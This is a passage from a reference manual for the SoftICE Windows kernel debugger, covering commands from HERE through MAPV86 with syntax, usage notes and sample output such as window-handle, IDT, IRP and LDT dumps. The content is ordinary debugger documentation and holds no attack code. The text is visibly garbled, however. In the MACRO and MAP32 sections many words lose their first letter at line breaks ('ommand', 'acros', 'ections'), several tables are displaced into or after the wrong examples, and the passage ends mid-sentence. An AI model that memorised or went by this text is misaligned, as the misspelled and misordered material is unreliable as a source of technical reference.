To use the HERE command, place the cursor on the source statement or assembly instruction
that you want to execute to. Enter HERE or press the function key that HERE is
programmed to (default key F7).

The HERE command exits from SoftICE with a single, one-time execution breakpoint set. In
addition, all sticky breakpoints are armed.

Execution begins at the current CS:EIP and continues until the address of the current cursor
position in the Code window is encountered, the window pop-up key sequence is used, or a
sticky breakpoint occurs. When SoftICE pops up, for any reason, the one-time execution
breakpoint is cleared.

If the Register window is visible when SoftICE pops up, all registers that have been altered
since the HERE command was issued display with the bold video attribute.
For Windows 3.1

The non-sticky execution breakpoint uses an INT 3 style breakpoint.

For Windows 95 and Windows NT
The non-sticky execution breakpoint uses debug registers unless none are available, in which
case, it uses INT 3.

%Example
Sets an execution breakpoint at the current cursor position, then exits from SoftICE and
begins execution at the current CS:EIP.
HERE

:HWND
^HWND Windows 3.1, Windows 95 SystemInformation
^Display information on Window handles.

%Syntax
For Windows 3.1
HWND [level] [task-name]

For Windows 95
HWND [-x][hwnd | [[level][process-name]]

level Windows hierarchy number. 0 is the top level, 1 is the next level and
so on. The window levels represent a parent child relationship. For
example, a level 1 window has a level 0 parent. For Windows NT,
refer to the HWND on page 109.
task-name Any currently loaded Windows task. These names are available with
the TASK command.
-x Display extended information about a window.
hwnd Windows handle.
process-name Name of any currently loaded process.

%Use
Specifying a window handle as a parameter displays only the information for that window
handle. If you specify a window handle, you do not need to specify the optional parameters
for level and process-name.

%Output
For each window handle, the following information is displayed:
Class Name
Class name or atom of class that this window belongs to.
Window Procedure Address of the window procedure for this window.

%Example

Sample output follows for the HWND command:
HWND msword
Abbreviated output follows for the HWND command:
HWND -x winword
Handle hQueue QOwner Class Procedure
0F4C(0) 087D MSWORD #32769 DESKTOP
0FD4(1) 080D MSWORD #32768 MENUWND
22C4(1) 087D MSWORD OpusApp 0925:0378
53E0(2) 087D MSWORD OpusPmt 0945:1514
2764(2) 087D MSWORD a_sdm_Msft 0F85:0010
2800(3) 087D MSWORD OpusFedt 0F85:0020
2844(3) 087D MSWORD OpusFedt 0F85:0020
2428(2) 087D MSWORD OpusIconBar 0945:14FE
2888(2) 087D MSWORD OpusFedt 0945:14D2
Window Handle : (0288) Level (1)
Parent : 16A7:000204CC
Child : NULL
Next : 16A7:00020584
Owner : NULL
Window RECT : (9,113) - (210,259)
Client RECT : (10,114) - (189,258)
hQueue : 1C97
Size : 16
QOwner : WINWORD
hrgnUpdate : NULL
wndClass : 16A7:281C
Class : ListBox
hInstance : (349E) (16 bit hInstance)
lpfnWndProc : 2417:000057F8
dwFlags1 : 40002
dwStyle : 44A08053
dwExStyle : 88
dwFlags2 : 0
ctrlID/hMenu : 03E8
WndText : NULL
unknown1 : 4734
propertyList : NULL
lastActive : NULL
hSystemMenu : NULL
unknown2 : 0
unknown3 : 0000
classAtom : C036
unknown4 : 4CAC
unknown5 : A0000064
Window Handle : (0288) Level (1)

:HWND (NT)
^HWND Windows NT SystemInformation
^Display information on Window handles.

%Syntax
HWND [-x][-c] [hwnd-type | desktop-type | process-type |

thread-type | module-type | class-name]
-eXtended Display extended information about each window handle.
-Children Force the display of window hierarchy when searching by thread-type, module-type, or class-name.
hwnd-type Window handle or pointer to a window structure.
desktop-type Desktop handle or desktop pointer to a window structure (3.51 only).
process-type, thread-

type or module-type Window owner-type. A value that SoftICE can interpret as being of a
specific type such as process name, thread ID, or module image base.
class name Name of a registered window class.

%Use
The HWND command enumerates and displays information about window handles.

The HWND command allows you to isolate windows that are owned by a particular process,
thread or module, when you specify a parameter of the appropriate type.

The -eXtended option shows extended information about each window.

When you specify the -eXtended option, or an owner-type as a parameter, the HWND
command will not automatically enumerate child windows. Specifying the -Children option
forces all child windows to be enumerated (regardless of whether they meet any specified
search criteria).

%Output
For each HWND that is enumerated, the following information is displayed:
Handle
HWND handle (refer to OBJTAB on page 147 for more
information). Each window handle is indented to show its child and
sibling relationships to other windows.
Class
Registered class name for the window, if available (refer to CLASS on
page 48 for more information).
WinProc
Address of the message callback procedure. Depending on the callback
type, this value is displayed as a 32-bit flat address or 16-bit
selector:offset.
TID
Owning thread ID.
Module
Owning module name (if available). If the module name is unknown,
the module handle will be displayed as a 32-bit flat address or 16-bit
selector:offset, depending on the module type.

%Example
The following example uses the HWND command without parameters or options:

```
HWND
Handle_Class____________WinProc_TID___Module
01001E #32769 (Desktop) 5FBFE425 24 winsrv
050060 #32770 (Dialog) 60A29304 18 winlogon
010044 SAS window class 022A49C4 18 winlogon
010020 #32768 (PopupMenu) 5FBEDBD5 24 winsrv
010022 #32769 (Desktop) 5FBFE425 24 winsrv
010024 #32768 (PopupMenu) 5FBEDBD5 24 winsrv
030074 Shell_TrayWnd 0101775E 67 Explorer
030072 Button 01012A4E 67 Explorer
0800AA TrayNotifyWnd 010216C4 67 Explorer
03003E TrayClockWClass 01028C85 67 Explorer
030078 MSTaskSwWClass 01022F69 67 Explorer
030076 SysTabControl32 712188A8 67 Explorer
05007A tooltips_class32 7120B43A 67 Explorer
03003C tooltips_class32 7120B43A 67 Explorer
2E00F0 NDDEAgnt 016E18F1 4B nddeagnt
1C0148 CLIPBOARDWNDCLASS 034F:2918 2C OLE2
9B0152 DdeCommonWindowClass 77C2D88B 2C ole32
```

3200F2 OleObjectRpcWindow 77C2D73B 2C ole32
0800A2 DdeCommonWindowClass 77C2D88B 67 ole32
030086 OleMainThreadWndClass 77C2DCF2 67 ole32
030088 OleObjectRpcWindow 77C2D73B 67 ole32
03008A ProxyTarget 71E6869A 67 shell32
03008C ProxyTarget 71E6869A 67 shell32
030070 ProxyTarget 71E6869A 67 shell32
04007C ProxyTarget 71E6869A 67 shell32
0400CC OTClass 0100D7F3 67 Explorer
0300CA DDEMLEvent 5FC216AB 67 winsrv
0300C6 DDEMLMom 60A2779D 67 00000000
0300C0 #42 0BB7:0776 78 MMSYSTEM
0300D2 WOWFaxClass 01F9F7A8 78 WOWEXEC
060062 ConsoleWindowClass 5FCD23C7 2B winsrv
0300B4 WOWExecClass 03CF:0B3E 78 WOWEXEC
030068 Progman 0101B1D3 67 Explorer
0E00BC SHELLDLL_DefView 71E300E8 67 shell32
040082 SysListView32 7121A0EC 67 shell32
030080 SysHeader32 7120B06F 67 shell32

Notes: You may have noticed that the output from the previous example enumerated two
desktop windows (handles 1001E and 10022), each with its own separate window
hierarchy. This is because the system can create more than one object of type Desktop,
and each Desktop object has its own Desktop Window which defines the window
hierarchy. If you use the HWND command in a context that does not have an
assigned Desktop, the HWND command enumerates all objects of type Desktop.
Because the system may have create more than one object of type Desktop, the
HWND command accepts a Desktop-type handle as a parameter. This allows the
window hierarchy for a specific Desktop to be enumerated. You can use the command
OBJTAB DESK to enumerate all existing desktops in the system.

The following is an example of using the HWND command for a specific window handle:
HWND 400a0
Handle Class WinProc TID Module
0400A0 Progman 0101B1D3 74 Explorer

The following is an example of enumerating only those windows owned by thread 74:
HWND 74

Handle Class WinProc TID Module
2F00F0 Shell_TrayWnd 0101775E 74 Explorer
0500CE Button 01012A4E 74 Explorer
0500C4 TrayNotifyWnd 010216C4 74 Explorer
040074 TrayClockWClass 01028C85 74 Explorer
0500C6 MSTaskSwWClass 01022F69 74 Explorer
0400C8 SysTabControl32 712188A8 74 Explorer
3700F2 tooltips_class32 7120B43A 74 Explorer
040066 tooltips_class32 7120B43A 74 Explorer
0F00BC DdeCommonWindowClass 77C2D88B 74 ole32
040068 OleMainThreadWndClass 77C2DCF2 74 ole32
0500CC OleObjectRpcWindow 77C2D73B 74 ole32
2600BA ProxyTarget 71E6869A 74 shell32
0400D0 ProxyTarget 71E6869A 74 shell32
0400CA ProxyTarget 71E6869A 74 shell32
070094 ProxyTarget 71E6869A 74 shell32
04009E OTClass 0100D7F3 74 Explorer
480092 DDEMLEvent 5FC216AB 74 winsrv
09004A DDEMLMom 60A2779D 74 00000000

0400A0 Progman 0101B1D3 74 Explorer
0500C0 SHELLDLL_DefView 71E300E8 74 shell32
070090 SysListView32 7121A0EC 74 shell32
050096 SysHeader32 7120B06F 74 shell32

Note: A process-name always overrides a module of the same name. To search by module,
when there is a name conflict, use the module handle (base address or module-database
selector) instead. Also, module names are always context sensitive. If the module is not
loaded in the current context (or the CSRSS context), the HWND command
interprets the module name as a class name instead.

The following example shows the output when the -eXtended option is used:
HWND -x 400a0
Hwnd : 0400A0 (7F2D7148)
Class Name : Progman
Module : Explorer
Window Proc : 0101B1D3
Win Version : 4.00
Title : Program Manager
Desktop : 02001F (00402D58)
Parent : 010022 (7F2D0C28)
1st Child : 0500C0 (7F2D7600)
Style : CLIPCHILDREN | CLIPSIBLINGS | VISIBLE | POPUP
Ex. Style : TOOLWINDOW | A0000000
Window Rect : 0, 0, 1024, 768 (1024 x 768)
Client Rect : 0, 0, 1024, 768 (1024 x 768)

:I
^I Windows 3.1, Windows 95, Windows NT I/OPort
^Input a value from an I/O port.

%Syntax
I[size] port

size
port Port address.

%Use
The I command in most cases does an actual I/O instruction so it is showing the actual state
of the hardware port. In the case of virtualized ports, the actual data may not be the same as
the virtualized data that an application would see.

The only ports that SoftICE does not do I/O on are the interrupt mask registers (Port 21 and
A1). For those ports, SoftICE shows the value that existed when SoftICE popped up.
Use the input from port commands to read and display a value from a hardware port. Input
can be done from byte, word, or dword ports. If you do not specify size, the default is B.

%Example
Performs an input from port 21, which is the mask register for interrupt controller one.
I 21
Value Description
B Byte
W Wo rd

D DWORD

:I1HERE
^I1HERE Windows 3.1, Windows 95, Windows NT ModeControl
^Pop up on embedded INT 1 instructions.

%Syntax
I1HERE [on | off]

%Use
Use the I1HERE command to specify that any embedded interrupt 1 bring up the SoftICE
screen. This feature is useful for stopping your program in a specific location. Before popping
up, SoftICE checks to see that there is really an INT 1 in the code. If there is not, SoftICE will
not pop up.

To use this feature, place an INT 1 into the code immediately before the location where you
want to stop. When the INT 1 occurs, it brings up the SoftICE screen. At this point, the
current EIP is the instruction after the INT 1 instruction.
If you do not specify a parameter, the current state of I1HERE displays.

The default is I1HERE off.

This command is useful when you are using an application debugging tool such as
BoundsChecker. Since these tools rely on INT 3's for breakpoint notifications, you should use
INT 1s in your code so that the tools do not become confused when your hardwired
interrupts occur.

For Windows 3.1 and Windows 95
VMM, the Windows memory management VxD, executes INT 1 instructions prior to
certain fatal exits. If you have I1HERE ON, you can trap these. The INT 1s generated by
VMM are most often caused by a page fault with the registers set up as follows:
. EAX=faulting address
. ESI points to an ASCII message
. EBP points to a CRS (Client Register Structure as defined in the DDK include file
VMM.INC).

%Example
Turns on I1HERE mode. Any INT 1s generated after this point bring up the SoftICE screen.
I1HERE on

:I3HERE
^I3HERE Windows 3.1, Windows 95, Windows NT ModeControl
^Pop up on INT 3 instructions.

%Syntax
I3HERE [on | off]

%Use
Use the I3HERE command to specify that any interrupt 3 pop up SoftICE. This feature is
useful for stopping your program in a specific location.

To use this feature, place an INT 3 into your code immediately before the location where you
want to stop. When the INT 3 occurs, it brings up the SoftICE screen. At this point, the
current EIP is the instruction after the INT 3 instruction.

If you are developing a Windows program, the DebugBreak( ) Windows API routine
performs an INT 3.

If you do not specify a parameter, the current state of I3HERE displays.
Note: If you are using an application debugging tool such as the Visual C debugger or
NuMega's BoundsChecker, you should place INT 1s in your code instead of INT 3s.
Refer to I1HERE on page 114.

%Example
Turns on I3HERE mode. Any INT 3s generated after this point cause SoftICE to pop up.
I3HERE on

When the command I3HERE==ON, and you are using a level -3 debugger, such as
BoundsChecker, SoftICE traps on any INT 3 breakpoints installed by the level-3 debugger.
When this happens, set I3HERE==OFF, and use the GENINT command to reactivate the
breakpoint. This returns control to the level -3 debugger, and SoftICE does not trap further
INT 3s.
I3HERE off
GENINT 3

:IDT
^IDT Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the Interrupt Descriptor Table.

%Syntax
IDT [interrupt-number]

interrupt-number Interrupt-number to display information
%Use
The IDT command displays the contents of the Interrupt Descriptor Table after reading the
IDT register to obtain its address.

The IDT command without parameters displays the IDT's base address and limit, as well as
the contents of all entries in the table. If you specify an optional interrupt-number, only
information about that entry is displayed.

For Windows NT
Almost all interrupt handlers reside in NTOSKRNL, so it is very useful to have exports
loaded for it so that the handler names are displayed.

Note: NTOSKRNL must be the current symbol table (refer to TABLE on page 194) to view
symbol names.

%Output
Each line of the display contains the following information:
interrupt number 0 - 0FFh (5Fh for Windows 3.1, Windows 95).

interrupt type One of the following:
address Selector:offset of the interrupt handler.
Type Description
CallG32 32-bit Call Gate
CallG16 16-bit Call Gate
TaskG Task Gate
TrapG16 16-bit Trap Gate
TrapG32 32-bit Trap Gate
IntG32 32-bit Interrupt Gate
IntG16 16-bit Interrupt Gate

selector's DPL Selector's descriptor privilege level (DPL), which is either 0, 1, 2 or 3.
present bit P or NP, indicating whether the entry is present or not present.
Owner+Offset For Windows 95 and Windows NT only: Symbol or owner name plus the offset from that symbol or owner.

%Example
The following command shows partial output of the IDT command with no parameters:

```
.:IDT
Int Type Sel:Offset Attributes Symbol/Owner
IDTbase=C000ABBC Limit=02FF
0000 IntG32 0028:C0001200 DPL=0 P VMM(01)+0200
0001 IntG32 0028:C0001210 DPL=3 P VMM(01)+0210
0002 IntG32 0028:C00EEDFC DPL=0 P VTBS(01)+1D04
0003 IntG32 0028:C0001220 DPL=3 P VMM(01)+0220
0004 IntG32 0028:C0001230 DPL=3 P VMM(01)+0230
0005 IntG32 0028:C0001240 DPL=3 P VMM(01)+0240
0006 IntG32 0028:C0001250 DPL=0 P VMM(01)+0250
0007 IntG32 0028:C0001260 DPL=0 P VMM(01)+0260
0008 TaskG 0068:00000000 DPL=0 P
0009 IntG32 0028:C000126C DPL=0 P VMM(01)+026C
000A IntG32 0028:C000128C DPL=0 P VMM(01)+028C
```

The next command shows the contents of one entry in the IDT:

```
.:IDT d
Int Type Sel:Offset Attributes Symbol/Owner
000D IntG32 0028:C00012B0 DPL=0 P VMM(01)+02B0
```

:IRP
^IRP Windows NT SystemInformation
^Display information about an I/O Request Packet (IRP).

%Syntax
IRP [irp-address]

irp-address Address of the start of the IRP structure to be displayed.

%Use
The IRP command displays the contents of the I/O Request Packet and the contents of
associated current I/O stack located at the specified address. The command does not check for
the validity of the IRP structure being shown, so any address will be accepted by SoftICE as
an irp-address.

The IRP fields shown by SoftICE are not documented in their entirety here, as adequate
information about them can be found in NTDDK.H in the Windows NT DDK. A few fields

deserve special mention, however, since device driver writers find them particularly useful:
Flags Flags used to define IRP attributes.

StackCount The number of stack locations that have been allocated for the IRP. A
common device driver bug is to access non-existent stack locations, so
this value may be useful in determining when this has occurred.
CurrentLocation This number indicates which stack location is the current one for the
IRP. Again, this value, combined with the previous StackCount, can
be used to track down IRP stack-related bugs.

Cancel
This boolean is set to TRUE if the IRP has been cancelled as a result
of an IRP cancellation call. This happens when the IRP's result is no
longer needed so the IRP will not complete.
Tail.Overlay.
CurrentStackLoc
Address of current stack location. The contents of this stack location
are displayed after the IRP, as illustrated in the example for this
command.
Cancel
This boolean is set to TRUE if the IRP has been cancelled as a result
of an IRP cancellation call. This happens when the IRP's result is no
longer needed so the IRP will not complete.

These fields in the current stack location may be useful:
Major Function and Minor Function
These fields indicate what type of request the IRP is being used for.
The major function is used in determining which request handler will
be called when an IRP is received by a device driver.
Device Object
Pointer to the device object that the IRP is currently stationed at. In
other words, the IRP has been sent to, and is in the process of being
received by, the device driver owning the device object.
File Object
Pointer to the file object associated with the IRP. It can contain
additional information that serves as IRP parameters. For example, file
system drivers use the file object path name field to determine the
target file of a request.
Completion Rout
This field is set when a driver sets a completion routine for an IRP
through the IoSetCompletionRoutine call. Its value is the address of
the routine that will be called when a lower-level driver (associated
with a stack location one greater than the current one) completes
servicing of the IRP and signals that it has done so with
IoCompleteRequest.

%Example
The following example shows the output for the IRP command:

```
.:IRP eax
MdlAddress * : 00000000
Flags : 00000404 IRP_SYNCHRONOUS_API|IRP_CLOSE_OPERATION
AssociatedIrp : 00000000
&ThreadListEntry : FD8D9B18
IoStatus : 00000000
RequestorMode : 00
PendingReturned : False
StackCount : 03
CurrentLocation : 03
Cancel : False
CancelIrql : 00
```

ApcEnvironment : 00
Zoned : True
UserIosb * : FD8D9B20
UserEvent * : FB11FB40
Overlay : 00000000 00000000
CancelRoutine * : 00000000
UserBuffer * : 00000000
Tail.Overlay
&DeviceQueueEntry : FD8D9B48
Thread * : FD80A020
AuxiliaryBuffer * : 00000000
&ListEntry : FD8D9B60
CurrentStackLoc * : FD8D9BC0
OrigFileObject * : FD819E08
Tail.Apc * : FD8D9B48
Tail.ComplKey : 00000000
CurrentStackLocation:
MajorFunction : 12 IRP_MJ_CLEANUP
MinorFunction : 00
Control : 00
Flags : 00
Others : 00000000 00000000 00000000 00000000
DeviceObject * : FD851E40
FileObject * : FD819E08
CompletionRout * : 00000000
Context * : 00000000

:LDT
^LDT Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the Local Descriptor Table.

%Syntax
LDT [selector]

selector Starting LDT selector to display.

%Use
The LDT command displays the contents of the Local Descriptor Table after reading its
location from the LDT register. If there is no LDT, an error message will be printed. If you
specify an optional selector, only information on that selector is displayed. If the starting
selector is a GDT selector (bit 2 is 0), the GDT displays rather than the LDT. The first line of
output contains the base address and limit of the LDT.

For Windows 95 and Windows NT
Even when there is no LDT, the LDT command can display an LDT you supply as a
command parameter. This optional parameter can be a GDT selector that represents an LDT.
You can locate selectors of type LDT with the GDT command.

For Windows NT
The LDT command is process specific and only works in processes that have an LDT. Use the
ADDR command to determine which processes contain LDTs. Use ADDR to switch to those
processes, then use the LDT command to examine their LDTs.

%Output
Each line of the display contains the following information:

selector value Lower two bits of this value reflect the descriptor privilege level.
selector type
Type Description
Code16 16-bit code selector
Data16 16-bit data selector
Code32 32-bit code selector
Data32 32-bit data selector
CallG32 32-bit Call Gate selector
CallG16 16-bit Call Gate selector

selector base
Linear base address of the selector.
selector limit
Size of the selector.
selector DPL
Selector's descriptor privilege level (DPL), either 0, 1, 2 or 3.
present bit
P or NP, indicating whether the selector is present or not present.
segment attributes
One of the following:

%Example
The following example shows sample output for the LDT command.

```
.:LDT
Sel. Type Base Limit DPL Attributes
LDTbase=8008B000 Limit=4FFF
0004 Reserved 00000000 00000000 0 NP
000C Reserved 00000000 00000000 0 NP
0087 Data16 80001000 00000FFF 3 P RW
008F Data16 00847000 0000FFFF 3 P RW
0097 Data16 0002DA80 0000021F 3 P RW
009F Data16 00099940 000029FF 3 P RW
00A7 Data16 0001BAC0 000000FF 3 P RW
00AF Data16 C11D9040 0000057F 3 P RW
```

TaskG32 32-bit Task Gate selector
TaskG16 16-bit Task Gate selector
TrapG32 32-bit Trap Gate selector
TrapG16 16-bit Trap Gate selector
IntG32 32-bit Interrupt Gate selector
IntG16 16-bit Interrupt Gate selector
Reserved Reserved selector
Type Description
RW Data selector is readable and writable.
RO Data selector is read only.
RE Code selector is readable and executable.
EO Code selector is execute only.
B TSS's busy bit is set.
Type Description

:LHEAP
^LHEAP Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the Windows local heap.

%Syntax
LHEAP [selector | module-name]

selector LDT data selector.
module-name Name of any 16-bit module.

%Use
The LHEAP command displays the data objects that a Windows program has allocated on

the local heap. If you do not specify a selector, the value of the current DS register is used. The
specified selector is usually the Windows program's data selector. To find this, use the HEAP
command on the Windows program you are interested in and look for an entry of type data.
Each selector that contains a local heap is marked with the tag LH.

If a module-name is entered, SoftICE uses the modules default data segment for the heap
walk.

For Windows 95 and Windows NT
To find all segments that contain a local heap, use the HEAP command with the -L option.
For Windows NT

The LHEAP command only works if the current process contains a WOW box.

%Output
For each local heap entry the following information displays:
offset 16-bit offset relative to the specified selector base address.
size Size of the heap entry in bytes.
type Type of entry. One of the following:
Type Description
FIX Fixed (not moveable)
MOV Moveable
FREE Available memory
handle Handle associated with each element. For fixed elements, the handle is
equal to the address that is returned from LocalAlloc( ). For moveable
elements, the handle is the address that will be passed to LocalLock( ).
At the end of the list, the total amount of memory in the local heap displays.

%Example
To display all local heap entries belonging to the GDI default local heap, use the following
command:
LHEAP gdi
Offset Size Type Handle
93D2 0046 Mov 0DFA
941E 0046 Mov 0C52
946A 0046 Mov 40DA
94B6 004E Mov 0C66
950A 4A52 Mov 0E52
Used: 19.3K

:LINES
^LINES Windows 3.1, Windows 95, Windows NT Customization
^Change the number of lines for the SoftICE display.

%Syntax
For Windows 3.1
LINES [25 | 43 | 50]

For Windows 95 and Windows NT
LINES [25 | 43 | 50 | 60]

%Use
The LINES command changes SoftICE's character display mode. It allows different display
modes: 25-line, 43-line, 50-line, and 60-line mode. The 43-, 50-, and 60-line modes are only

valid on VGA display adapters.

Using LINES with no parameters displays the current state of LINES. The default number of
display lines is 25.

If you enter the ALTSCR command, SoftICE changes to 25-line mode automatically. If you
change back to a VGA display and want a larger line mode, enter the LINES command again.
To display in 50-line mode on a serial terminal, first place the console mode of the serial
terminal into 50-line mode using the DOS MODE command.

For Windows 95 and Windows NT
You can display 60 lines for single monitor debugging.

When debugging in serial mode, all line counts are supported for VGA displays.

%Example
To change the SoftICE display to 43-line mode if you have an EGA or VGA display, use the
following command:
LINES 43

:LOCALS
^LOCALS Windows 95, Windows NT Symbol/SourceCommand
^Lists local variables from the current stack frame.

%Syntax
LOCALS

%Use
Use the LOCALS command to list local variables from the current stack frame to the
Command window.

%Output
The following information displays for each local symbol:
. Stack Offset
. Type definition
. Value, Data, or structure symbol ({...})

The type of local determines whether a value, data, or structure symbol ({...}) is displayed. If
the local is a pointer, the data it points to is displayed. If it is a structure, the structure symbol
is displayed. If the local is neither a pointer nor a structure, its value is displayed.

Hint: You can expand structures, arrays, and character strings to display their contents. Use
the WL command to display the Locals window, then double-click the item you want
to expand. Note that expandable items are delineated with a plus (+) mark.

%Example
The following example displays the local variables for the current stack frame:
.:LOCALS
[EBP-4] struct_BOUNCEDATA * pdb=0x0000013F <{...}>
[EBP+8] void * hWnd=0x000006D8
See Also TYPES, WL

:M
^M Windows 3.1, Windows 95, Windows NT Miscellaneous
^Move data.

%Syntax
 M source-address l length dest-address

 source-address Start of address range to move.
 length Length in bytes.
 dest-address Start of destination address range.

%Use
 The specified number of bytes are moved from the source-address to the dest-address.

%Example
 Moves 2000h bytes (8KB) from memory location DS:1000h to ES:5000h.
 M ds:1000 l 2000 es:5000

:MACRO
^MACRO Windows 95, Windows NT Customization
^Define a new command that is a superset of SoftICE commands.

 %Syntax
 MACRO [macro-name] | [*] | [= ``macro body'']

 macro-name Case-insensitive, 3-8 character name for the macro being defined, or
 the name of an existing macro.
 macro-body Quoted string that contains a list of SoftICE commands and
 parameters separated by semi-colons (;).
 * Delete one or all defined macros.
 = Define (or redefine) a macro.

%Use
 The MACRO command is used to define new Macro commands that are supersets of
existing
 SoftICE commands. Defined macros can be executed directly from the SoftICE
ommand
 line. The MACRO command is also used to list, edit, or delete individual acros.
Macros are
 directly related to breakpoint actions, as breakpoint actions are simply acros
that do not
 have names, and can only be executed by the SoftICE breakpoint engine.

 If no options are provided, a list of all defined macros will be displayed, r
if a macro-name is
 specified, that macro will be inserted into the command buffer so that it can e
edited.
 When defining or redefining a macro, the following form of the macro command s
used:
 MACRO macro-name = ``macro-body''

 The macro-name parameter can be between 3 and 8 characters long, and may ontain
any
 alphanumeric character or underscore (_). If the macro-name parameter pecifies
an existing
 macro, the existing macro will be redefined. The macro-name cannot be a
uplicate of an
 existing SoftICE command. The macro-name must be followed by an equal sign
`='', which

must be followed by the quoted string that defines the macro-body.

The macro-body parameter must be embedded between beginning and ending uotation
marks (``). The macro-body is made up of a collection of existing SoftICE
ommands, or
defined macros, separated by semi-colons. Each command may contain ppropriate
`literal'
parameters, or can use the form%<parameter#>, where parameter# must be etween 1
and 8.
When the macro is executed from the command line, any parameter references ill
expand
into the macro-body from the parameters specified when the command was xecuted.
If you
need to embed a literal quote character ('') or a percent sign (%) within the
acro body
precede the character with a backslash character (\). Because the backslash
haracter is used for
escape sequences, to specify a literal backslash character, use two onsecutive
backslashes (\\).
The final command within the macro-body does not need to be terminated by a
emi-colon.

You can define macros in the SoftICE Loader using the same syntax described
ere. When
you load SoftICE, each macro definition is created and available for use.
oftICE displays a
message for each defined macro to remind you of it presence. Since macros
onsume memory,
you can set the maximum number of named and unnamed macros (that is, reakpoint
actions) that can be defined during a SoftICE session. The default value of 2
is also the
minimum value. The maximum value is 256.

Note: A macro-body cannot be empty. It must contain one or more non-white pace
characters. A macro-body can execute other macros, or define another macro, r
even a
breakpoint with a breakpoint action. A macro can even refer to itself, lthough
recursion of macros is not extremely useful because there is no programmatic ay
to
terminate the macro. Macros that use recursion execute up to the number of imes
that
SoftICE permits (32 levels of recursion are supported), no more, and no less.
ven
with this limitation, macro recursion, although crude, can be useful for alking
nested
or linked data structures. To get a recursive macro to execute as you expect,
ou have to
devise clever macro definitions.

%Example
The following is an example of using the MACRO command without parameters or
ptions:
.:MACRO
XWHAT = "WHAT EAX;WHAT EBX;WHAT ECX; WHAT EDX; WHAT ESI; WHAT EDI"
OOPS = "I3HERE OFF;GENINT 3"
1shot = "bpx eip do \"bc bpindex \""

Note: The name of the macro is listed to the left, and the macro body efinition
to the right.
The following are more examples of basic usage of the MACRO command:
.:MACRO * Delete all named macros.
.:MACRO oops * Delete the macro named oops.
.:MACRO xwhat Edit the macro named xwhat.

Note: Because macros can be redefined at any time, when you use the edit form f
the
MACRO command (MACRO macro-name) the macro definition will be placed in the
edit buffer so that it can be edited. If you do not wish to modify the macro,
ress ESC.
The existing macro will remain unchanged. If you modify the macro-body ithout
changing the macro name, the macro will be redefined (assuming the syntax is
orrect!)

The following is a simple example of a macro definition:
.:MACRO help = ``h''

The next example uses a literal parameter within the macro-body. Its sefulness
is limited to
specific situations or values:
.:MACRO help = ``h exp''

In this example, the SoftICE H command is executed with the parameter EXP very
time the
macro executes. This causes the help for the SoftICE EXP command to display.

This is a slightly more useful definition of the same macro:
.:MACRO help= ``help %1''

In this example, an optional parameter was defined to pass to the SoftICE H
ommand. If the
command is executed with no parameters, the argument to the H command is mpty,
and the
macro performs exactly as the first definition; help for all commands is
isplayed. If the macro
executes with 1 parameter, the parameter is passed to the H command, and the
elp for the
command specified by parameter 1 is displayed. For execution of macros, all
arameters are
considered optional, and any unused parameters are ignored.

The following are examples of legal macro definitions:
.:MACRO qexp = ``addr explorer; query %1'' qexp
or
qexp 1 40000
.:MACRO 1shot = ``bpx %1 do \''bc bpindex\'''' 1shot eip
or
1shot @esp
.:MACRO ddt = ``dd thread'' ddt
.:MACRO ddp = ``dd process'' ddp
.:MACRO thr = ``thread %1 tid'' thr
or
thr -x

The following are examples of illegal macro definitions, with an explanation nd
a corrected
example:

Illegal Definition: MACRO dd = ``dd dataaddr''
Explanation: This is a duplication of a SoftICE command. SoftICE commands annot
be
redefined.
Corrected Example: MACRO dda = ``dd dataaddr''

Illegal Definition: MACRO aa = ``addr %1''

Explanation: The macro command name is too short. A macro name must be etween 3
and
8 characters long.
Corrected Example: MACRO aaa = ``addr %1''

Illegal Definition: MACRO pbsz = ? hibyte(hiword(*(%1-8))) << 5
Explanation: The macro body must be surrounded by quote characters (``).
Corrected Example: MACRO pbsz = ``? hibyte(hiword(*(%1-8))) << 5''

Illegal Definition: MACRO tag = ``? *(%2-4)''
Explanation: The macro body references parameter %2 without referencing
arameter %1.
You cannot reference parameter %n+1 without having referenced parameter %n.
Corrected Example: MACRO tag = ``? *(%1-4)''

:MAP32
^MAP32 Windows 3.1, Windows 95, Windows NT SystemInformation
^Display a memory map of all 32-bit modules currently loaded in memory.

%Syntax
For Windows 3.1
MAP32 [module-name | module-handle]

module-name Windows module-name.
module-handle Base address of a module image.

For Windows 95 and Windows NT
MAP32 [module-name | module-handle |address]

module name Windows module-name.
module handle Base address of a module image.
address Any address that falls within an executable image.

%Use
MAP32 with no parameters lists information about all 32-bit modules.
If you specify either a module-name or module-handle as a parameter, only
ections from the
module are shown. For each module, one line of data is printed for every ection
belonging to
the module.

Since the MAP32 command takes any address that falls within an executable mage,
an easy
way to see the memory map of the module that contains the current EIP is to
nter:
MAP32 eip

For Windows 95
No matter what process/context you are in, you see the same list of drivers
ecause memory
above 2GB is globally mapped.

You see different lists of applications/DLLs because they are always private o
an address
context.

For Windows NT
MAP32 lists kernel drivers as well as applications and DLLs that exist in the
urrent process.
They can be distinguished in the map because drivers always occupy addresses
bove 2GB,

while applications and DLLs are always below 2GB.

%Output
 Each line in MAP32's output contains the following information:
 Owner
 Module name.
 Name
 Section name from the executable file.
 Obj#
 Section number from the executable file.
 Address
 Selector:offset address of the section.
 Size
 Section's size in bytes.
 Type
 Type and attributes of the section, as follows:

%Example For Windows 3.1
 The following example illustrates sample output for MAP32 executed on a isual C module.
 .:MAP32 msvcrt10

 Type Attributes
 CODE Code
 IDATA Initialized Data
 UDATA Uninitialized Data
 RO Read Only
 RW Read/Write
 SHARED Object is shared
 Owner Obj Name Obj# Address Size Type
 MSVCRT10 .text 0001 2197:86C81000 00024A00 CODE RO
 MSVCRT10 .bss 0002 219F:86CA6000 00001A00 UDATA RW
 MSVCRT10 .rdata 0003 219F:86CA8000 00000200 IDATA RO
 MSVCRT10 .edata 0004 219F:86CA9000 00005C00 IDATA RO
 MSVCRT10 .data 0005 219F:86CAF000 00006A00 IDATA RW
 MSVCRT10 .idata 0006 219F:86CB6000 00000A00 IDATA RW
 MSVCRT10 .reloc 0007 219F:86CB7000 00001800 IDATA RO

:MAPV86
^MAPV86 Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the DOS memory map of the current Virtual Machine.

%Syntax
 MAPV86 [address]

 address Segment:offset type address.

%Use
 If no address parameter is specified, a map of the entire current virtual achine's V86 address
 space is displayed. Information about the area in the map where a certain ddress lies can be
 obtained by specifying the address.

 Pages of DOS VM memory may not be valid (not mapped in) when you enter the APV86
